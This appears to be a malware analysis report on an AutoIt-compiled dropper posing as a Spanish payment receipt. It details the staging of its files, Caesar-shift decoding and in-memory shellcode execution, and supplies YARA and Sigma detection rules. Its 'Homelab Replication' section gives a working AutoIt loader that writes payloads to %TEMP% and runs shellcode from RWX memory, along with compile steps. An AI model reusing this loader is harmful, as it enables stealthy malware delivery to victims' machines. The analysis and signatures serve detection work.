unclassified-autoit-compiled: 6395396e — Spanish payment-lure with M30K3JL Caesar-2 obfuscation and 240 KB encrypted payload

Executive Summary

AutoItSC single-file PE32 (~1.09 MB) masquerading as a Spanish-language payment receipt (COPIA_DE_PAGO.exe). Decompiled script drops two embedded payloads (Hymenophyllaceae, isochronally) to %TEMP%, decodes the latter with a Caesar-2 shift, and reflectively executes it at offset 9136 via VirtualAlloc RWX + DllCallAddress. The Hymenophyllaceae file (240 KB) is an encrypted inner payload consumed at runtime by the shellcode. String obfuscation uses a custom M30K3JL Caesar-shift function (keys 2 and 3). Thirtieth confirmed sibling in the unclassified-autoit-compiled cluster. Static-only analysis.

What It Is

• Filename: COPIA_DE_PAGO.exe — Spanish "Copy of Payment" banking lure ^[metadata.json]
• File type: PE32 executable (GUI) Intel 80386, 5 sections ^[file.txt]
• Size: 1,085,440 bytes (1.09 MB) ^[triage.json]
• Timestamp: Mon Jul 22 11:36:52 2024 UTC ^[pefile.txt:34]
• Linker: MSVC 14.16 (VS 2017), MajorLinkerVersion=0x0E, MinorLinkerVersion=0x10 ^[exiftool.json]
• Compiler language: AutoIt v3 single-file compiled (AutoItSC) ^[capa.txt]
• Script placement: .rsrc section, resource type 10 (RT_RCDATA), encrypted bytecode with AU3!EA06 header ^[strings.txt:761]
• Signing: Unsigned ^[rabin2-info.txt]
• VS_VERSIONINFO: Empty (FileVersion 0.0.0.0, ProductVersion 0.0.0.0) ^[exiftool.json]
• YARA: PE_File_Generic, Suspicious_Wininet_Imports ^[yara.txt]

How It Works

The outer PE is the AutoIt3 interpreter runtime. On execution it decrypts and runs the compiled script stored in .rsrc. The decompiled script (extracted via autoit-ripper) performs:

1. Stage payloads to disk: FileInstall("Hymenophyllaceae", @TempDir & "\Hymenophyllaceae", 1) and FileInstall("isochronally", @TempDir & "\isochronally", 1) ^[script.au3:11-12]
2. Read and Caesar-2 decode: Reads isochronally from disk and subtracts 2 from each ASCII codepoint via M30K3JL($F31330Z0MYKYO, 2) ^[script.au3:13-14]
3. Hex-decode to binary: The decoded string is a hex-ASCII blob (e.g., 0x558bec81...) that parses to 14,336 bytes of x86 shellcode ^[isochronally_decoded]
4. Allocate RWX memory: DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "dword", BinaryLen($payload), "dword", 0x3000, "dword", 0x40) — MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE ^[script.au3:15]
5. Copy shellcode: DllStructCreate("byte [" & BinaryLen(...) & "]", $H3136SQIQ8) then DllStructSetData to copy the decoded payload into the allocated buffer ^[script.au3:17-18]
6. Transfer execution: DllCallAddress("int", $H3136SQIQ8 + 9136) — jumps to offset 9136 within the RWX region ^[script.au3:19]

The Hymenophyllaceae file (240,128 bytes) is an encrypted binary payload extracted as a resource. It contains no valid PE header at natural alignment; static strings show only repeating 16-byte fragments (0O0YS5G7X...) suggesting a custom block cipher or XOR stream. ^[Hymenophyllaceae:hexdump] It is consumed at runtime by the shellcode in isochronally.

Decompiled Behavior

The decompiled AutoIt script (~3,293 lines) is heavily padded with dead code after the real logic in lines 1–19. The padding consists of nested For loops, impossible If branches (ATan(1029) <> 50), GUI API calls with random constants, and bogus variable assignments. ^[script.au3:20-3293]

The string obfuscation function M30K3JL($C30LRQ, $J31A5M) is a simple Caesar-shift cipher:

Func M30K3JL($C30LRQ, $J31A5M)
    Local $N32FA5QBJ6D = ""
    For $W33UBE = 1 To StringLen($C30LRQ)
        Local $U35CPVIWYWE = Asc(StringMid($C30LRQ, $W33UBE, 1))
        $U35CPVIWYWE -= $J31A5M
        $N32FA5QBJ6D &= Chr($U35CPVIWYWE)
    Next
    Return $N32FA5QBJ6D
EndFunc

Keys used: 2 (for isochronally payload decode) and 3 (for API names and struct descriptors). Decoded strings include kernel32, VirtualAlloc, dword, ptr, byte [, int, 0x3000, 0x40. ^[script.au3:1-19]

This is the simplest obfuscation variant observed in the cluster to date. Previous siblings used K30ZWMBJJ (permutation + XOR key "AA") ^[/intel/analyses/b017d1897d3c5b5c51f02fafcbe48700943ebe0921c1c881d4f7ea37fe1eefdc.html], U30JZ3SO7 (permutation + XOR key "06") ^[/intel/analyses/9e95f20b6a922c573706918d93a3d99cdc726d374ff12654c708fcbb6f3cd9b7.html], and O30MJJHT (Caesar-5 + XOR key "WH") ^[/intel/analyses/aa4d237c7a9b4ec7915c582ad703c886422d59ceb40ded57307d7da15ec9bfc8.html]. The Caesar-2 shift here is trivially reversible.

The shellcode at offset 9136 within the isochronally_binary.bin payload is a position-independent x86 stub. Entry prologue: 55 8b ec 81 ec d8 03 00 00 (push ebp; mov ebp, esp; sub esp, 0x3d8). ^[isochronally_binary.bin:0x23b0] No imports table — APIs are either resolved dynamically or inherited from the hosting AutoIt process. No anti-debug, anti-VM, or timing checks observed.

C2 Infrastructure

No plaintext C2 strings recovered. The decompiled script contains no hardcoded URLs, IPs, domains, SMTP credentials, or Telegram bot tokens. Network capability is inferred from the AutoIt runtime import table:

• InternetOpenW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, InternetReadFile ^[strings.txt:830-841]
• WSAStartup, socket, connect, send, recv ^[strings.txt:835]
• FtpOpenFileW, FtpGetFileSize ^[strings.txt:838-839]

C2 is likely resolved or downloaded at runtime by the shellcode in isochronally or the secondary payload in Hymenophyllaceae.

Interesting Tidbits

• Spanish-language lure: "COPIA_DE_PAGO" (Copy of Payment) is a banking/receipt-themed lure, the first Spanish-language filename observed in this cluster. Previous siblings used English procurement terms (invoice, PO, RFQ, BOQ, SOA, quotation, DHL, FDA) and one Greek (ΛΕΙΤΕΙ ΤΙΜΟΛΟΓΙΟ). This suggests regional targeting expansion.
• VS 2017 linker: Most siblings in this cluster use MSVC 12.0 (VS 2013) or MSVC 10.0 (VS 2010). This sample uses MSVC 14.16 (VS 2017), indicating a toolchain refresh or a different build pipeline. ^[exiftool.json]
• Largest inner payload: Hymenophyllaceae at 240 KB is the largest encrypted inner payload in the dual-resource drop pattern (vs. 270 KB turbinate in 9e95f20b and 268 KB misrun in b017d189). However, turbinate was a compressed binary while Hymenophyllaceae appears to be encrypted with a block/stream cipher.
• 9136 offset consistency: The jump offset 9136 (0x23B0) is identical to that used in b017d189 (Esher shellcode) and 9e95f20b (selectee shellcode). This suggests a shared shellcode template or compiler setting in the AutoIt script build process. ^[script.au3:19]
• No UPX packing: Plain PE32 (non-UPX), 5 standard sections. .rsrc entropy is high (~7.5) from the encrypted script. ^[pefile.txt]
• No anti-analysis in outer PE: No debugger checks, VM detection, or timing loops in the AutoItSC runtime or decompiled script. Evasion is purely via compiled-script encryption and dead-code padding.

How To Mess With It (Homelab Replication)

Toolchain: AutoIt v3.3.8.1 or later + SciTE editor + Aut2Exe on Windows.

Working replica (minimal two-stage dropper):

#NoTrayIcon
Func Decrypt($s, $k)
    Local $r = ""
    For $i = 1 To StringLen($s)
        $r &= Chr(Asc(StringMid($s, $i, 1)) - $k)
    Next
    Return $r
EndFunc

; Embed two files as resources in the PE via FileInstall
FileInstall("payload.bin", @TempDir & "\payload.bin", 1)
FileInstall("shellcode.hex", @TempDir & "\shellcode.hex", 1)

; Read, decrypt (Caesar-2), and hex-decode the shellcode
Local $hex = FileRead(FileOpen(@TempDir & "\shellcode.hex"))
$hex = Decrypt($hex, 2)
Local $sc = Binary($hex)

; Allocate RWX and execute at offset 9136
Local $h = DllCall("kernel32.dll", "ptr", "VirtualAlloc", _
    "ptr", 0, "dword", BinaryLen($sc), "dword", 0x3000, "dword", 0x40)
Local $st = DllStructCreate("byte [" & BinaryLen($sc) & "]", $h[0])
DllStructSetData($st, 1, $sc)
DllCallAddress("int", $h[0] + 9136)

Compiler flags: Compile with Aut2Exe, x86 target, #NoTrayIcon directive. Include two resource files in the build directory.

Verification: Run capa <replica.exe> — should hit (internal) autoit file limitation warning. Compare to this sample's capa.txt.

What you'll learn: How compiled AutoIt scripts embed and stage secondary payloads, how Caesar-shift obfuscation survives static string extraction, and how DllCallAddress enables in-memory shellcode execution from a scripting language.

Deployable Signatures

YARA Rule

rule AutoItSC_M30K3JL_DualPayload_Dropper
{
    meta:
        description = "AutoItSC single-file PE32 with M30K3JL Caesar-2 obfuscation and dual-resource payload drop"
        author = "PacketPursuit"
        date = "2026-07-02"
        sha256 = "6395396ea7ab2d1c35062f10ef2cad39e5c42a5f8ff50d6a6564d76259542b03"
        family = "unclassified-autoit-compiled"
    strings:
        $autoit_marker = "AU3!EA06"
        $autoit_text = ".text$lp00AutoItSC"
        $compiled = "This is a third-party compiled AutoIt script."
        $func_m30 = "Func M30K3JL"
        $func_obf1 = "M30K3JL ( $C30LRQ , $J31A5M )"
        $fileinstall1 = "FileInstall ( \"Hymenophyllaceae\""
        $fileinstall2 = "FileInstall ( \"isochronally\""
        $dllcall_virt = "DllCall ( M30K3JL ( \"nhuqho65\" , 3 )"
        $dllcall_addr = "DllCallAddress ( M30K3JL ( \"lqw\" , 3 )"
        $offset_9136 = "9136 )"
    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_sections == 5 and
        pe.subsystem == pe.SUBSYSTEM_WINDOWS_GUI and
        ($autoit_marker or $autoit_text or $compiled) and
        ($func_m30 or $func_obf1 or $fileinstall1 or $fileinstall2 or $dllcall_virt or $dllcall_addr or $offset_9136)
}

Sigma Rule

title: AutoItSC Dual-Payload Dropper Execution
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'COPIA_DE_PAGO.exe'
            - 'Hymenophyllaceae'
            - 'isochronally'
    condition: selection
falsepositives:
    - None expected ( filenames are malware-specific )
level: high

IOC List

Behavioral Fingerprint

This binary is an AutoItSC single-file PE32 (x86 GUI, 5 sections, unsigned, empty VS_VERSIONINFO) that drops two files to %TEMP%: a large encrypted payload (Hymenophyllaceae, ~240 KB) and a small hex-encoded shellcode carrier (isochronally, ~28 KB). It decodes the latter with a Caesar-2 shift, hex-decodes the result to 14,336 bytes of x86 shellcode, allocates RWX memory via VirtualAlloc (0x3000, 0x40), copies the shellcode into the buffer with DllStructSetData, and transfers execution via DllCallAddress to offset 9136 (0x23B0). The outer PE has no anti-debug or VM checks; evasion relies on compiled-script encryption and dead-code padding.

Detection Signatures

capa reports (internal) autoit file limitation — no ATT&CK mappings produced because capa cannot analyze AutoIt script bytecode. ^[capa.txt] Behavioral TTPs are inferred from the decompiled script and known AutoIt malware patterns:

• T1059.005 — Command and Scripting Interpreter: Visual Basic / AutoIt
• T1071.001 — Web Protocols (inferred from WinInet imports)
• T1095 — Non-Application Layer Protocol (inferred from WinSock imports)
• T1547.001 — Registry Run (inferred from ADVAPI32 imports)
• T1053.005 — Scheduled Task (possible via AutoIt Run or COM APIs)
• T1083 — File and Directory Discovery
• T1057 — Process Discovery
• T1012 — Query Registry
• T1113 — Screen Capture (GDI32)
• T1115 — Clipboard Data
• T1056.001 — Keylogging (GetAsyncKeyState)
• T1620 — Reflective Code Loading (shellcode in RWX memory via DllCallAddress)

References

• unclassified-autoit-compiled — Cluster entity page
• autoit-compiled-script-dropper — Concept page covering AutoIt deployment patterns
• MalwareBazaar artifact ID: 6cb600fd-7c9c-4193-83cd-d900beae2c33
• SHA-256: 6395396ea7ab2d1c35062f10ef2cad39e5c42a5f8ff50d6a6564d76259542b03

Provenance

Analysis produced from:

• file v5.44, exiftool v12.76, pefile Python module, radare2 v5.9.0 (rabin2), binwalk v2.3.4, strings v2.42, autoit-ripper (Python), capa v7.1.0.
• autoit-ripper decompiled the compiled SCRIPT resource from .rsrc to plaintext AutoIt source.
• Manual Caesar-2 shift and hex-decode applied to isochronally payload.
• Shellcode disassembly performed with radare2 (r2) on the decoded 14,336-byte binary.
• No CAPE detonation performed (no Windows guest available). All behavior is static inference or direct script analysis.